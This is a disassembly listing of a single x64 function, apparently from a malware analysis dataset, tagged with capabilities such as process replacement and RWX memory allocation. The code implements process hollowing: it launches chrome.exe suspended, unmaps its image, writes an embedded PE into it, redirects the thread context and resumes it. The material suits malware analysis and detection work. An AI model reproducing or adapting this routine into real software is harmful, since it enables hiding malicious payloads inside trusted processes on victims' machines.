Function at 0x180012280
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Resume thread
Terminate process
Use process replacement

Disassembly:
sub rsp, 0x638
mov rax, qword [0x1803ad080]
xor rax, rsp
mov qword [rsp + 0x620], rax
lea rax, str.C:Program_FilesGoogleChromeApplicationchrome.exe
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x110], 0x10000b
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x5b0]
call qword [sym.imp.VCRUNTIME140.dll_memset]
mov r8d, Ordinal_27
xor edx, edx
lea rcx, [rsp + 0xb8]
call qword [sym.imp.VCRUNTIME140.dll_memset]
nop
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x5b0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x88]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180012390
lea rdx, str.Erro_ao_criar_o_processo:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180021630
mov qword [rsp + 0x90], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
mov edx, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rsp + 0x98], rax
lea rdx, [0x180021a10]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x1800126b1
lea rax, [0x180a666c0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1800123fe
lea rdx, str.Erro:_Assinatura_DOS_inv
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180021630
mov qword [rsp + 0xa0], rax
lea rdx, [0x180021a10]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
nop
jmp 0x1800126b1
mov rax, qword [rsp + 0x78]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0xe0]
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.ntdll.dll_NtGetContextThread]
mov rax, qword [rsp + 0x168]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0xd0]
mov rdx, rax
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
nop
mov rax, qword [rsp + 0x58]
mov rax, qword [rax + 0x30]
cmp qword [rsp + 0xd0], rax
jne 0x18001248c
mov rdx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
nop
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x180012512
lea rdx, str.Erro_ao_alocar_mem
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180021630
mov qword [rsp + 0xa8], rax
lea rdx, [0x180021a10]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
nop
jmp 0x1800126b1
mov qword [rsp + 0x20], 0
mov rax, qword [rsp + 0x58]
mov r9d, dword [rax + 0x54]
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
nop
mov dword [rsp + 0x50], 0
jmp 0x180012551
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x58]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x50], eax
jae 0x1800125eb
mov rax, qword [rsp + 0x78]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x50]
imul rcx, rcx, 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x80]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x68]
add rdx, rcx
mov rcx, rdx
mov qword [rsp + 0x20], 0
mov rdx, qword [rsp + 0x80]
mov r9d, dword [rdx + 0x10]
mov r8, rax
mov rdx, rcx
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
nop
jmp 0x180012547
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x58]
add rax, 0x30
mov rcx, qword [rsp + 0x168]
add rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rax
mov rdx, rcx
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rdx, [rsp + 0xe0]
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.ntdll.dll_NtSetContextThread]
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.ntdll.dll_NtResumeThread]
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Inje
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180021630
mov qword [rsp + 0xb0], rax
lea rdx, [0x180021a10]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x620]
xor rcx, rsp
call fcn.1801567a0
add rsp, 0x638
ret